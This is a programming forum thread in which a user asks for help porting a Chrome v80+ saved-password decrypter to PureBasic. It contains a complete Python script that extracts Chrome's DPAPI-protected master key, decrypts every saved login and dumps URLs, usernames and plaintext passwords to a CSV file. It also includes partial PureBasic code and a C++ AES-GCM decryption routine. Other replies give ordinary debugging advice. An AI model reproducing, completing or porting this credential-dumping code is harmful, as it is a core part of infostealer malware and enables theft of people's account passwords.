chrome password decrypter
-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
chrome password decrypter
Hello
i'm trying to decryt chrome v80+ passwords. i know the theory and successed with Python but i can't make it work in PB.
any help ?
i'm trying to decryt chrome v80+ passwords. i know the theory and successed with Python but i can't make it work in PB.
any help ?
- NicTheQuick
- Addict
- Posts: 1523
- Joined: Sun Jun 22, 2003 7:43 pm
- Location: Germany, Saarbrücken
- Contact:
Re: chrome password decrypter
How about more information? Where's the Python code that has succeeded? And where is the Purebasic code that has not?
The english grammar is freeware, you can use it freely - But it's not Open Source, i.e. you can not change it or publish it in altered way.
Re: chrome password decrypter
+1NicTheQuick wrote: Mon Jan 01, 2024 3:15 pm How about more information? Where's the Python code that has succeeded? And where is the Purebasic code that has not?
!i!i!i!i!i!i!i!i!i!
!i!i!i!i!i!i!
!i!i!i!
//// Informations ////
Portable LENOVO ideapad 110-17ACL 64 bits
Version de PB : 6.12LTS - 64 bits
-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
Re: chrome password decrypter
here is the Purebasic code :SPH wrote: Mon Jan 01, 2024 3:37 pm+1NicTheQuick wrote: Mon Jan 01, 2024 3:15 pm How about more information? Where's the Python code that has succeeded? And where is the Purebasic code that has not?
this function gets and decrypts the master key :
Code: Select all
;
Structure pdata
cbdata.l
pbdata.l
EndStructure
Procedure get_secret_key()
Define blob_key.pdata
OpenFile(0,GetEnvironmentVariable("temp")+"\local state") ; the "local state" file containing base64 encoded encrypted master key
Repeat
line$=ReadString(0,#PB_Ascii,4096)
start = FindString(line$,Chr(34)+"encrypted_key"+Chr(34))
If start
finish = FindString(Mid(line$,start),"}")
If finish
masterkey$ = Mid(line$,start+17,finish-19)
Break
EndIf
EndIf
Until Eof(0)
CloseFile(0)
decbuff = AllocateMemory(1024)
x = Base64Decoder(masterkey$, decbuff, 1024)
blob_key\cbdata = x - 5
blob_key\pbdata = decbuff + 5 ; the master key has the word 'DPAPI' appended at the beginning. so we ignore it
CallFunctionFast(CryptUnprotectData,blob_key,0,0,0,0,0,master_key)
FreeMemory(decbuff)
ProcedureReturn master_key\pbdata
EndProcedure
Code: Select all
Procedure.s DecryptPassword(buffer, master_key, size)
; the structure of a an encrypted chrome password is :
; a string 'v10' (3 bytes)
; initialization vector (12 bytes)
; encrypted password (variable length)
; padding (16 bytes)
; buffer conatins the encrypted password
If size > 31
decrypted_password = AllocateMemory(size - 15)
iv = AllocateMemory(12)
CopyMemory(buff + 3, iv, 12)
password = AllocateMemory(size - 15 )
CopyMemory(buff + 15, password, size - 15 )
AESDecoder(password, decrypted_password, size - 15 , master_key, 256, iv)
procedureReturn Peeks(decrypted_password)
FreeMemory(decrypted_password)
FreeMemory(iv)
FreeMemory(password)
EndIf
EndProcedure
the python code :
Code: Select all
#Full Credits to LimerBoy
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
def get_secret_key():
try:
#(1) Get secretkey from chrome local state
with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#Remove suffix DPAPI
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome secretkey cannot be found")
return None
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
#(3-a) Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
#Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
#(4) Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
try:
#Create Dataframe to store passwords
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index","url","username","password"])
#(1) Get secret key
secret_key = get_secret_key()
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
#(5) Save into CSV
csv_writer.writerow([index,url,username,decrypted_password])
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s"%str(e))
76 31 30 F4 51 3C 11 D0 B2 FF 11 BA 44 59 31 7F 4D 4B F8 95 DE AA 9B B5 AC 6B AC 96 70 5C D2 0D F7 07 9D 8E 9D 0D 13 38 C8 42 75 47 E0 37 6C 6A B6 10 AE 0A 88 67 9D CC
Thank you all
- NicTheQuick
- Addict
- Posts: 1523
- Joined: Sun Jun 22, 2003 7:43 pm
- Location: Germany, Saarbrücken
- Contact:
Re: chrome password decrypter
There are things missing. Especially the type and structure of the `master_key` variable and the function `CryptUnprotectData`. Besides that you should avoid using `CallFunctionFast()` and instead use Prototypes.
The english grammar is freeware, you can use it freely - But it's not Open Source, i.e. you can not change it or publish it in altered way.
-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
Re: chrome password decrypter
the master key is of type pdata (see code).NicTheQuick wrote: Mon Jan 01, 2024 7:16 pm There are things missing. Especially the type and structure of the `master_key` variable and the function `CryptUnprotectData`. Besides that you should avoid using `CallFunctionFast()` and instead use Prototypes.
i don't understand what's wrong since i do the same as the python code. it should work...
-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
Re: chrome password decrypter
I think the problem is that Purebasic doesn't support AES-GCM decryptionlisa_beille wrote: Mon Jan 01, 2024 8:42 pmthe master key is of type pdata (see code).NicTheQuick wrote: Mon Jan 01, 2024 7:16 pm There are things missing. Especially the type and structure of the `master_key` variable and the function `CryptUnprotectData`. Besides that you should avoid using `CallFunctionFast()` and instead use Prototypes.
i don't understand what's wrong since i do the same as the python code. it should work...


-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
Re: chrome password decrypter
So now my question becomes : How to use Bcrypt library functions like BCryptOpenAlgorithmProvider in PB
Re: chrome password decrypter
For pdata structure look: https://www.purebasic.fr/german/viewtop ... 78#p345878lisa_beille wrote: Mon Jan 01, 2024 8:42 pm the master key is of type pdata (see code).
i don't understand what's wrong since i do the same as the python code. it should work...
Are you sure you're doing the same as the python code ?
Code: Select all
If OpenFile(0,GetEnvironmentVariable("TEMP") + "\local state")
vs
If OpenFile(0,GetEnvironmentVariable("LOCALAPPDATA") + "\Google\Chrome\User Data\Local State")
-
- User
- Posts: 24
- Joined: Fri Dec 22, 2023 5:59 pm
Re: chrome password decrypter
The problem is that PB does not support AES-GCM mode.
i found this C++ code, if anyone can help me convert it to PB, it would be very kind :
i found this C++ code, if anyone can help me convert it to PB, it would be very kind :
Code: Select all
std::string AESDecrypter(std::string EncryptedBlob, DATA_BLOB MasterKey)
{
BCRYPT_ALG_HANDLE hAlgorithm = 0;
BCRYPT_KEY_HANDLE hKey = 0;
NTSTATUS status = 0;
SIZE_T EncryptedBlobSize = EncryptedBlob.length();
SIZE_T TagOffset = EncryptedBlobSize - 15;
ULONG PlainTextSize = 0;
std::vector<BYTE> CipherPass(EncryptedBlobSize); // hold the passwords ciphertext.
std::vector<BYTE> PlainText;
std::vector<BYTE> IV(IV_SIZE); // Will hold initial vector data.
// Parse iv and password from the buffer using std::copy
std::copy(EncryptedBlob.data() + 3, EncryptedBlob.data() + 3 + IV_SIZE, IV.begin());
std::copy(EncryptedBlob.data() + 15, EncryptedBlob.data() + EncryptedBlobSize, CipherPass.begin());
// Open algorithm provider for decryption
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptOpenAlgorithmProvider failed with status: " << status << std::endl;
return "";
}
// Set chaining mode for decryption
status = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (UCHAR*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptSetProperty failed with status: " << status << std::endl;
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return "";
}
// Generate symmetric key
status = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, NULL, 0, MasterKey.pbData, MasterKey.cbData, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BcryptGenertaeSymmetricKey failed with status: " << status << std::endl;
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return "";
}
// Auth cipher mode info
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO AuthInfo;
BCRYPT_INIT_AUTH_MODE_INFO(AuthInfo);
TagOffset = TagOffset - 16;
AuthInfo.pbNonce = IV.data();
AuthInfo.cbNonce = IV_SIZE;
AuthInfo.pbTag = CipherPass.data() + TagOffset;
AuthInfo.cbTag = TAG_SIZE;
// Get size of plaintext buffer
status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, NULL, NULL, &PlainTextSize, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptDecrypt (1) failed with status: " << status << std::endl;
return "";
}
// Allocate memory for the plaintext
PlainText.resize(PlainTextSize);
status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, PlainText.data(), PlainTextSize, &PlainTextSize, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCrypt Decrypt (2) failed with status: " << status << std::endl;
return "";
}
// Close the algorithm handle
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return std::string(PlainText.begin(), PlainText.end());
}